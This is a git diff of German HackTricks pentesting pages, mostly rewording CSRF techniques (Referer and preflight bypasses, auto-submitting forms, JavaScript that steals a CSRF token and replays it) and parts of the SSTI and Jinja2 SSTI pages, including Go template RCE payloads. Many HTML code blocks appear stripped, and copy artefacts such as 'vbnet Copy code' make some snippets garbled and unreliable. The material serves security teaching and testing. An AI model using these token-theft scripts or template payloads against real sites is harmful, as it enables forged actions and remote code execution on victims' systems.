zu setzen, wie z.B. eine CRLF-Sicherheitslücke. Der Angreifer kann dies ausnutzen, indem er ein irreführendes Bild lädt, das das Cookie setzt, gefolgt von der Initiierung des CSRF-Angriffs. + +Nachfolgend ein Beispiel, wie ein Angriff strukturiert sein könnte: ```html @@ -116,18 +124,18 @@ Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Schwachs ``` {% hint style="info" %} -Beachten Sie, dass dieser Angriff nicht funktioniert, wenn das CSRF-Token mit dem Sitzungscookie verknüpft ist, da Sie dem Opfer Ihre Sitzung übergeben müssen und somit sich selbst angreifen würden. +Beachten Sie, dass, wenn das **CSRF-Token mit dem Sitzungscookie verknüpft ist, dieser Angriff nicht funktioniert**, da Sie dem Opfer Ihre Sitzung übergeben müssen und somit sich selbst angreifen würden. {% endhint %} -### Änderung des Content-Type +### Änderung des Content-Typs -Gemäß [**diesem**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) Link sind dies die erlaubten Content-Type-Werte, um **Preflight-Anfragen** bei Verwendung der **POST**-Methode zu vermeiden: +Gemäß [**dieser Quelle**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) sind zur **Vermeidung von Preflight-Anfragen** bei Verwendung der **POST**-Methode die folgenden Content-Type-Werte zulässig: -* **`application/x-www-form-urlencoded`** -* **`multipart/form-data`** -* **`text/plain`** +- **`application/x-www-form-urlencoded`** +- **`multipart/form-data`** +- **`text/plain`** -Beachten Sie jedoch, dass die **Serverlogik variieren kann**, abhängig vom verwendeten Content-Type. Daher sollten Sie die genannten Werte sowie andere wie **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_**ausprobieren**._ +Beachten Sie jedoch, dass die **Serverlogik variieren kann**, abhängig vom verwendeten **Content-Type**, daher sollten Sie die genannten Werte und andere wie **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ Beispiel (von [hier](https://brycec.me/posts/corctf\_2021\_challenges)) zum Senden von JSON-Daten als text/plain: ```html @@ -142,21 +150,19 @@ form.submit(); ``` -### Umgehung von Preflight-Anfragen für JSON-Daten +### Umgehen von Preflight-Anfragen für JSON-Daten -Wenn Sie versuchen, JSON-Daten über eine POST-Anfrage zu senden, ist es nicht direkt möglich, `Content-Type: application/json` in einem HTML-Formular zu verwenden. Ebenso führt die Verwendung von `XMLHttpRequest` zur Sendung dieses Inhaltstyps zu einer Preflight-Anfrage. Es gibt jedoch Strategien, um diese Einschränkung möglicherweise zu umgehen und zu überprüfen, ob der Server die JSON-Daten unabhängig vom Content-Type verarbeitet: +Beim Versuch, JSON-Daten über eine POST-Anfrage zu senden, ist es in einem HTML-Formular nicht direkt möglich, `Content-Type: application/json` zu verwenden. Ebenso initiiert die Verwendung von `XMLHttpRequest` für diesen Inhaltstyp eine Preflight-Anfrage. Dennoch gibt es Strategien, um diese Einschränkung möglicherweise zu umgehen und zu überprüfen, ob der Server die JSON-Daten verarbeitet, unabhängig vom Content-Type: -1. **Verwenden Sie alternative Content-Typen**: Verwenden Sie `Content-Type: text/plain` oder `Content-Type: application/x-www-form-urlencoded`, indem Sie `enctype="text/plain"` im Formular festlegen. Mit diesem Ansatz wird getestet, ob die Backend-Anwendung die Daten unabhängig vom Content-Type verwendet. +1. **Verwendung alternativer Content-Typen**: Verwenden Sie `Content-Type: text/plain` oder `Content-Type: application/x-www-form-urlencoded`, indem Sie `enctype="text/plain"` im Formular festlegen. Mit diesem Ansatz wird getestet, ob das Backend die Daten unabhängig vom Content-Type verwendet. +2. **Ändern des Content-Typs**: Um eine Preflight-Anfrage zu vermeiden und gleichzeitig sicherzustellen, dass der Server den Inhalt als JSON erkennt, können Sie die Daten mit `Content-Type: text/plain; application/json` senden. Dies löst keine Preflight-Anfrage aus, könnte aber vom Server korrekt verarbeitet werden, wenn er konfiguriert ist, `application/json` zu akzeptieren. +3. **SWF-Flash-Datei-Nutzung**: Eine weniger verbreitete, aber machbare Methode besteht darin, eine SWF-Flash-Datei zu verwenden, um solche Einschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik siehe [diesen Beitrag](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). -2. **Ändern Sie den Content-Type**: Um eine Preflight-Anfrage zu vermeiden und gleichzeitig sicherzustellen, dass der Server den Inhalt als JSON erkennt, können Sie die Daten mit `Content-Type: text/plain; application/json` senden. Dadurch wird keine Preflight-Anfrage ausgelöst, aber der Server verarbeitet die Daten möglicherweise korrekt, wenn er so konfiguriert ist, dass er `application/json` akzeptiert. +### Referrer / Origin-Prüfung umgehen -3. **Verwendung einer SWF-Flash-Datei**: Eine weniger häufige, aber mögliche Methode besteht darin, eine SWF-Flash-Datei zu verwenden, um solche Einschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik lesen Sie [diesen Beitrag](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). +**Vermeiden des Referrer-Headers** -### Umgehung der Referrer-/Origin-Prüfung - -**Vermeiden Sie den Referrer-Header** - -Anwendungen können den 'Referer'-Header nur überprüfen, wenn er vorhanden ist. Um zu verhindern, dass ein Browser diesen Header sendet, kann das folgende HTML-Meta-Tag verwendet werden: +Anwendungen können den 'Referer'-Header nur validieren, wenn er vorhanden ist. Um zu verhindern, dass ein Browser diesen Header sendet, kann das folgende HTML-Meta-Tag verwendet werden: ```xml ``` @@ -168,7 +174,7 @@ Dies stellt sicher, dass der 'Referer'-Header ausgelassen wird und möglicherwei [url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md) {% endcontent-ref %} -Um den Domainnamen des Servers in der URL festzulegen, die der Referrer innerhalb der Parameter senden wird, können Sie Folgendes tun: +Um den Domainnamen des Servers in der URL festzulegen, den der Referrer innerhalb der Parameter senden wird, können Sie Folgendes tun: ```html @@ -187,17 +193,17 @@ document.forms[0].submit(); ``` -### **Bypass der HEAD-Methode** +### **HEAD-Methode umgehen** -Der erste Teil dieses [CTF-Writeups](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) erklärt, dass im [Quellcode von Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281) ein Router so eingestellt ist, dass **HEAD-Anfragen als GET-Anfragen behandelt** werden, ohne eine Antwort zurückzugeben - eine gängige Lösung, die nicht auf Oak beschränkt ist. Anstatt einen spezifischen Handler für HEAD-Anfragen zu verwenden, werden sie einfach **an den GET-Handler weitergeleitet, aber die Anwendung entfernt einfach den Antwortkörper**. +Der erste Teil [**dieses CTF-Lösungsberichts**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) erklärt, dass im [Oak-Quellcode](https://github.com/oakserver/oak/blob/main/router.ts#L281) ein Router so eingestellt ist, dass **HEAD-Anfragen als GET-Anfragen behandelt** werden, ohne Antwortkörper - ein gängiger Workaround, der nicht einzigartig für Oak ist. Anstatt eines spezifischen Handlers, der mit HEAD-Anfragen umgeht, werden sie einfach **dem GET-Handler übergeben, aber die App entfernt einfach den Antwortkörper**. -Daher könnten Sie, wenn eine GET-Anfrage eingeschränkt ist, einfach eine HEAD-Anfrage senden, die als GET-Anfrage verarbeitet wird. +Daher könnten Sie, wenn eine GET-Anfrage eingeschränkt ist, einfach **eine HEAD-Anfrage senden, die als GET-Anfrage verarbeitet wird**. -## **Beispiel für einen Angriff** +## **Beispiel für Exploits** ### **Exfiltration des CSRF-Tokens** -Wenn ein **CSRF-Token** als **Schutzmaßnahme** verwendet wird, könnten Sie versuchen, es durch Ausnutzung einer [XSS](xss-cross-site-scripting/#xss-stealing-csrf-tokens)-Schwachstelle oder einer [Dangling Markup](dangling-markup-html-scriptless-injection/)-Schwachstelle zu **exfiltrieren**. +Wenn ein **CSRF-Token** als **Schutzmaßnahme** verwendet wird, könnten Sie versuchen, es durch eine [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)-Verwundbarkeit oder eine [**Dangling Markup**](dangling-markup-html-scriptless-injection/)-Verwundbarkeit **zu exfiltrieren**. ### **GET mit HTML-Tags** ```xml @@ -227,29 +233,6 @@ body { background: url('...'); } ``` ### Formular GET-Anfrage - -A GET request is a type of HTTP request that is used to retrieve data from a server. In the context of web forms, a GET request is typically used when submitting a form that does not have any side effects, such as changing data on the server. - -To send a GET request, the form's `method` attribute should be set to "GET" and the form's `action` attribute should specify the URL of the server endpoint that will handle the request. When the form is submitted, the data entered into the form fields will be appended to the URL as query parameters. - -For example, consider the following form: - -```html -
- - -
-``` - -In this case, when the form is submitted, the browser will send a GET request to the `/search` endpoint with the value entered into the `query` input field as a query parameter. The resulting URL might look like this: - -``` -https://example.com/search?query=example -``` - -The server can then use the query parameter to process the request and return the appropriate response. - -It's important to note that GET requests should not be used for sensitive operations or when submitting data that should be kept private, as the data is visible in the URL and can be easily intercepted or cached by intermediaries. For such cases, a POST request should be used instead. ```html @@ -266,26 +249,6 @@ document.forms[0].submit(); ``` ### Form POST-Anfrage - -Eine Form POST-Anfrage wird verwendet, um Daten von einem Client an einen Server zu senden. Dies geschieht normalerweise, wenn ein Benutzer ein Formular auf einer Webseite ausfüllt und auf die Schaltfläche "Senden" klickt. - -Um eine Form POST-Anfrage durchzuführen, muss der Client die Daten in einem bestimmten Format an den Server senden. Dieses Format wird normalerweise durch das `Content-Type`-Header-Feld angegeben, das auf `application/x-www-form-urlencoded` gesetzt ist. - -Die Daten werden dann im Body der Anfrage als Schlüssel-Wert-Paare übertragen. Jeder Schlüssel repräsentiert ein Formularfeld und der zugehörige Wert ist der vom Benutzer eingegebene Wert. - -Ein Beispiel für eine Form POST-Anfrage könnte wie folgt aussehen: - -```html -
- - - -
-``` - -In diesem Beispiel werden die Benutzername- und Passwortdaten über das Formular an den Server gesendet, wenn der Benutzer auf die Schaltfläche "Login" klickt. Der Server kann dann diese Daten verarbeiten und entsprechend reagieren. - -Es ist wichtig zu beachten, dass CSRF (Cross-Site Request Forgery) eine potenzielle Sicherheitslücke bei Form POST-Anfragen darstellen kann. Bei einem CSRF-Angriff kann ein Angreifer eine bösartige Webseite erstellen, die den Benutzer dazu verleitet, eine Form POST-Anfrage auf einer legitimen Webseite auszuführen, ohne dass der Benutzer es merkt. Um CSRF-Angriffe zu verhindern, können verschiedene Schutzmechanismen wie CSRF-Token implementiert werden. ```html @@ -301,17 +264,7 @@ document.forms[0].submit(); //Way 3 to autosubmit ``` -### Formular POST-Anfrage über iframe - -Eine Möglichkeit, eine Cross-Site Request Forgery (CSRF)-Attacke durchzuführen, besteht darin, eine Formular POST-Anfrage über ein iframe-Element zu senden. Dies ermöglicht es dem Angreifer, eine bösartige Aktion im Namen des Opfers auszuführen, ohne dass das Opfer es bemerkt. - -Um diese Technik anzuwenden, muss der Angreifer eine Webseite erstellen, die das Opfer besuchen wird. Auf dieser Webseite wird ein unsichtbares iframe-Element platziert, das auf die Zielseite verweist, auf der sich das Formular befindet, das der Angreifer manipulieren möchte. - -Der Angreifer kann das Formular so gestalten, dass es die gewünschten Daten enthält und automatisch abgesendet wird, sobald die Zielseite geladen ist. Dies geschieht mithilfe von JavaScript, das im iframe-Element eingebettet ist. - -Wenn das Opfer die bösartige Webseite besucht, wird das iframe geladen und das Formular automatisch abgesendet, ohne dass das Opfer es bemerkt. Die Zielseite behandelt die Anfrage als gültig, da sie von der gleichen Domain stammt, und führt die Aktion im Namen des Opfers aus. - -Um sich vor dieser Art von Angriff zu schützen, sollten Entwickler geeignete Sicherheitsmaßnahmen ergreifen, wie z.B. die Verwendung von Anti-CSRF-Token oder das Überprüfen des Referrer-Headers, um sicherzustellen, dass Anfragen nur von vertrauenswürdigen Quellen stammen. +### Form POST-Anfrage über iframe ```html @@ -508,23 +361,6 @@ function envia(){document.getElementById("formulario").submit();}

Sitio bajo mantenimiento. Disculpe las molestias

``` ### **CSRF-Token stehlen und eine POST-Anfrage senden** - -Eine Cross-Site Request Forgery (CSRF)-Attacke ermöglicht es einem Angreifer, eine Aktion im Namen eines authentifizierten Benutzers auszuführen, ohne dass dieser es bemerkt. Um eine CSRF-Attacke durchzuführen, muss der Angreifer den CSRF-Token des Benutzers stehlen und dann eine POST-Anfrage mit diesem Token senden. - -Um den CSRF-Token zu stehlen, kann der Angreifer verschiedene Techniken verwenden, wie z.B. das Ausnutzen von Schwachstellen in der Anwendung oder das Ausführen von Social Engineering-Angriffen, um den Benutzer dazu zu bringen, auf einen präparierten Link zu klicken. - -Sobald der Angreifer den CSRF-Token erhalten hat, kann er eine POST-Anfrage an die verwundbare Anwendung senden, um eine bösartige Aktion auszuführen. Diese Aktion kann je nach Anwendung variieren, z.B. das Ändern von Benutzerdaten, das Durchführen einer Geldüberweisung oder das Löschen von Inhalten. - -Es ist wichtig zu beachten, dass CSRF-Token als Schutzmechanismus implementiert werden, um solche Angriffe zu verhindern. Entwickler sollten sicherstellen, dass CSRF-Token korrekt generiert und in allen relevanten Formularen und POST-Anfragen verwendet werden. Benutzer sollten auch vorsichtig sein und verdächtige Links oder Anfragen nicht ohne Überprüfung öffnen oder akzeptieren. - -Um sich vor CSRF-Angriffen zu schützen, sollten Benutzer und Entwickler die folgenden bewährten Sicherheitspraktiken beachten: - -- Verwenden Sie sichere und zufällig generierte CSRF-Token. -- Überprüfen Sie die Herkunft von Anfragen und akzeptieren Sie nur Anfragen von vertrauenswürdigen Quellen. -- Implementieren Sie zusätzliche Sicherheitsmaßnahmen wie das Hinzufügen von Captchas oder das Verlangen einer erneuten Authentifizierung für kritische Aktionen. -- Halten Sie die Anwendung und alle verwendeten Bibliotheken auf dem neuesten Stand, um bekannte Sicherheitslücken zu beheben. - -Durch die Umsetzung dieser Sicherheitsmaßnahmen können Benutzer und Entwickler das Risiko von CSRF-Angriffen erheblich reduzieren. ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest(); @@ -571,41 +407,7 @@ var GET_URL="http://google.com?param=VALUE" var POST_URL="http://google.com?param=VALUE" getTokenJS(); ``` -### **Stehlen Sie das CSRF-Token und senden Sie eine POST-Anfrage mithilfe eines iframes, eines Formulars und Ajax** - -Eine Möglichkeit, ein CSRF-Token zu stehlen und eine POST-Anfrage zu senden, besteht darin, eine Kombination aus einem iframe, einem Formular und Ajax zu verwenden. - -1. Erstellen Sie ein unsichtbares iframe-Element auf Ihrer bösartigen Website, das auf die Zielseite mit dem CSRF-Token verweist. - -```html - -``` - -2. Erstellen Sie ein unsichtbares Formular auf Ihrer bösartigen Website, das die erforderlichen Daten für die POST-Anfrage enthält, einschließlich des gestohlenen CSRF-Tokens. - -```html - -``` - -3. Verwenden Sie Ajax, um das CSRF-Token aus dem iframe zu extrahieren und in das Formular einzufügen. - -```javascript -var csrfFrame = document.getElementById('csrfFrame'); -var csrfForm = document.getElementById('csrfForm'); -var stolenToken = csrfFrame.contentWindow.document.getElementById('csrfToken').value; -csrfForm.querySelector('#stolenToken').value = stolenToken; -``` - -4. Senden Sie die POST-Anfrage automatisch, indem Sie das Formular absenden. - -```javascript -csrfForm.submit(); -``` - -Durch diese Methode können Sie das CSRF-Token stehlen und eine POST-Anfrage im Namen des Opfers senden, ohne dass das Opfer es bemerkt. +### **CSRF-Token stehlen und einen Post-Request mithilfe eines iframes, eines Formulars und Ajax senden** ```html
@@ -625,39 +427,7 @@ document.getElementById("form1").submit(); ``` -### **Stehlen Sie das CSRF-Token und senden Sie eine POST-Anfrage mithilfe eines Iframes und eines Formulars** - -Eine Möglichkeit, ein CSRF-Token zu stehlen und eine POST-Anfrage zu senden, besteht darin, ein Iframe und ein Formular zu verwenden. Dieser Angriff kann erfolgreich sein, wenn die Zielseite anfällig für CSRF ist und das CSRF-Token im Quellcode der Seite verfügbar ist. - -Hier ist der Schritt-für-Schritt-Prozess: - -1. Erstellen Sie eine bösartige Webseite, die ein Iframe enthält. Das Iframe sollte auf die Zielseite verweisen, auf der das CSRF-Token gestohlen werden soll. - -```html - -``` - -2. Fügen Sie JavaScript-Code hinzu, der das CSRF-Token aus dem Iframe extrahiert und eine POST-Anfrage sendet. Das CSRF-Token kann normalerweise im Quellcode der Zielseite gefunden werden. - -```html - -``` - -3. Wenn ein Benutzer die bösartige Webseite besucht, wird das Iframe geladen und das CSRF-Token aus dem Iframe extrahiert. Anschließend wird eine POST-Anfrage mit dem gestohlenen CSRF-Token an die Zielseite gesendet. - -Dieser Angriff kann dazu führen, dass der Benutzer ungewollte Aktionen auf der Zielseite ausführt, da die POST-Anfrage mit dem gestohlenen CSRF-Token authentifiziert wird. Es ist wichtig zu beachten, dass dieser Angriff nur erfolgreich ist, wenn die Zielseite anfällig für CSRF ist und das CSRF-Token im Quellcode verfügbar ist. +### **Stehlen Sie CSRF-Token und senden Sie eine POST-Anfrage mithilfe eines iframes und eines Formulars** ```html @@ -675,17 +445,7 @@ document.forms[0].submit.click(); } ``` -### **Token stehlen und mit 2 iframes senden** - -Eine Möglichkeit, einen CSRF-Angriff durchzuführen, besteht darin, den CSRF-Token zu stehlen und ihn mithilfe von 2 iframes zu senden. Dieser Angriff kann in folgenden Schritten durchgeführt werden: - -1. Der Angreifer erstellt eine bösartige Webseite, die zwei iframes enthält. Der erste iframe wird auf die Zielseite gesetzt, auf der der CSRF-Token generiert wird. Der zweite iframe wird auf eine vom Angreifer kontrollierte Seite gesetzt, auf der der gestohlene CSRF-Token gesendet wird. - -2. Wenn ein Opfer die bösartige Webseite besucht, wird der erste iframe die Zielseite laden und dadurch den CSRF-Token generieren. Da der CSRF-Token in der Regel in einem Cookie oder einer versteckten Formularvariable gespeichert ist, kann der Angreifer den Token aus dem ersten iframe extrahieren. - -3. Der gestohlene CSRF-Token wird dann mithilfe des zweiten iframes an den Angreifer gesendet. Der zweite iframe kann den Token an eine vom Angreifer kontrollierte Seite senden, auf der der Angreifer den Token für seine eigenen böswilligen Zwecke verwenden kann. - -Dieser Angriff ermöglicht es dem Angreifer, Aktionen im Namen des Opfers auszuführen, da der gestohlene CSRF-Token verwendet wird, um die Authentizität des Anfrages zu überprüfen. Es ist wichtig, dass Entwickler geeignete Schutzmaßnahmen implementieren, um CSRF-Angriffe zu verhindern, wie z.B. die Verwendung von Anti-CSRF-Token und das Überprüfen des Referrer-Headers. +### **Token stehlen und über 2 iframes senden** ```html ``` ### CSRF mit Socket.IO - -Socket.IO ist eine JavaScript-Bibliothek, die eine Echtzeitkommunikation zwischen Client und Server ermöglicht. Es verwendet WebSockets, um eine bidirektionale Kommunikation herzustellen. Bei der Verwendung von Socket.IO in einer Webanwendung ist es wichtig, sich vor Cross-Site Request Forgery (CSRF) zu schützen. - -CSRF ist eine Angriffstechnik, bei der ein Angreifer eine Aktion im Namen eines authentifizierten Benutzers ausführt, ohne dass dieser Benutzer es beabsichtigt. Dies geschieht, indem der Angreifer den Benutzer dazu bringt, eine bösartige Anfrage an die Anwendung zu senden. - -Um CSRF-Angriffe mit Socket.IO zu verhindern, können Sie das CSRF-Token-Verfahren verwenden. Hierbei wird ein eindeutiges Token generiert und an den Client gesendet. Der Client muss dieses Token bei jeder Socket.IO-Anfrage an den Server mitsenden. Der Server überprüft dann, ob das Token gültig ist, um sicherzustellen, dass die Anfrage vom richtigen Client stammt. - -Um das CSRF-Token-Verfahren in Socket.IO zu implementieren, können Sie die `socketio-csrf`-Bibliothek verwenden. Diese Bibliothek erleichtert die Generierung und Überprüfung von CSRF-Token für Socket.IO-Anfragen. - -Hier ist ein Beispiel, wie Sie die `socketio-csrf`-Bibliothek verwenden können: - -```javascript -const express = require('express'); -const http = require('http'); -const socketIO = require('socket.io'); -const socketIOCSRF = require('socketio-csrf'); - -const app = express(); -const server = http.createServer(app); -const io = socketIO(server); - -// CSRF-Token generieren und an den Client senden -app.use(socketIOCSRF()); - -// Socket.IO-Verbindung herstellen -io.on('connection', (socket) => { - // CSRF-Token überprüfen - socket.use(socketIOCSRF.check()); - - // Socket.IO-Ereignisse behandeln - // ... -}); - -server.listen(3000, () => { - console.log('Server is running on port 3000'); -}); -``` - -Indem Sie das `socketio-csrf`-Middleware verwenden und das CSRF-Token bei jeder Socket.IO-Anfrage überprüfen, können Sie Ihre Anwendung vor CSRF-Angriffen schützen. ```html "}}` ergibt `<script>alert(1)</script>`). Nichtsdestotrotz können die Template-Definition und -Aufruf in Go diese Kodierung umgehen: -{{define "T1"}}{{end}} {{template "T1"}} +Mit dem Paket `text/template` kann XSS einfach sein, indem der Payload direkt eingefügt wird. Im Gegensatz dazu kodiert das Paket `html/template` die Antwort, um dies zu verhindern (z.B. führt `{{""}}` zu `<script>alert(1)</script>`). Nichtsdestotrotz können die Template-Definition und -Aufruf in Go diese Kodierung umgehen: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} -vbnet -Copy code +vbnet Copy code **RCE-Ausnutzung** -Die RCE-Ausnutzung unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das Modul `text/template` erlaubt den direkten Aufruf beliebiger öffentlicher Funktionen (unter Verwendung des Werts "call"), was in `html/template` nicht erlaubt ist. Die Dokumentation für diese Module ist [hier für html/template](https://golang.org/pkg/html/template/) und [hier für text/template](https://golang.org/pkg/text/template/) verfügbar. +Die RCE-Ausnutzung unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das Modul `text/template` erlaubt den direkten Aufruf beliebiger öffentlicher Funktionen (unter Verwendung des Werts "call"), was in `html/template` nicht erlaubt ist. Die Dokumentation für diese Module ist verfügbar [hier für html/template](https://golang.org/pkg/html/template/) und [hier für text/template](https://golang.org/pkg/text/template/). -Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn das bereitgestellte Objekt beispielsweise eine Methode `System` hat, die Befehle ausführt, kann sie wie folgt ausgenutzt werden: `{{ .System "ls" }}`. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel: +Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn beispielsweise das bereitgestellte Objekt eine `System`-Methode hat, die Befehle ausführt, kann sie wie folgt ausgenutzt werden: `{{ .System "ls" }}`. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() @@ -1092,7 +928,7 @@ return string(out) ### Weitere Exploits -Überprüfen Sie den Rest von [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) für weitere Exploits. Sie können auch interessante Tag-Informationen in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) finden. +Überprüfen Sie den Rest von [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) für weitere Exploits. Sie können auch interessante Tags-Informationen unter [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) finden. ## BlackHat PDF @@ -1124,20 +960,20 @@ Wenn Sie denken, dass es nützlich sein könnte, lesen Sie:
-​​​[**RootedCON**](https://www.rootedcon.com/) ist die relevanteste Cybersicherheitsveranstaltung in **Spanien** und eine der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin. +​​​[**RootedCON**](https://www.rootedcon.com/) ist das relevanteste Cybersicherheitsereignis in **Spanien** und eines der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin. {% embed url="https://www.rootedcon.com/" %}
-Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! +Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: -* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! -* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) +* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! +* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder folgen Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repos senden. +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
diff --git a/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md b/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md index 43ddac4e5..7dca19188 100644 --- a/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md +++ b/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md @@ -6,11 +6,11 @@ Andere Möglichkeiten, HackTricks zu unterstützen: -* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! -* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) +* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! +* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden. +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen. @@ -30,11 +30,9 @@ return "Hello, send someting inside the param 'c'!" if __name__ == "__main__": app.run() ``` -## **Sonstiges** - ### **Debug-Anweisung** -Wenn die Debug-Erweiterung aktiviert ist, steht ein `debug`-Tag zur Verfügung, um den aktuellen Kontext sowie die verfügbaren Filter und Tests auszugeben. Dies ist nützlich, um zu sehen, was im Template verwendet werden kann, ohne einen Debugger einzurichten. +Wenn die Debug-Erweiterung aktiviert ist, steht ein `debug`-Tag zur Verfügung, um den aktuellen Kontext sowie die verfügbaren Filter und Tests anzuzeigen. Dies ist nützlich, um zu sehen, was im Template verwendet werden kann, ohne einen Debugger einrichten zu müssen. ```python
 
@@ -43,11 +41,12 @@ Wenn die Debug-Erweiterung aktiviert ist, steht ein `debug`-Tag zur Verfügung,
 {% endraw %}
 
 
+
 
``` -Quelle: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement) +### **Alle Konfigurationsvariablen ausgeben** -### **Alle Konfigurationsvariablen anzeigen** +Um alle Konfigurationsvariablen in Jinja2 anzuzeigen, können Sie das `{{ config }}`-Objekt verwenden. Dies ermöglicht es Ihnen, alle verfügbaren Konfigurationsvariablen auf einmal anzuzeigen. ```python {{ config }} #In these object you can find all the configured env variables @@ -58,14 +57,16 @@ Quelle: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement]
{{ value|e }}
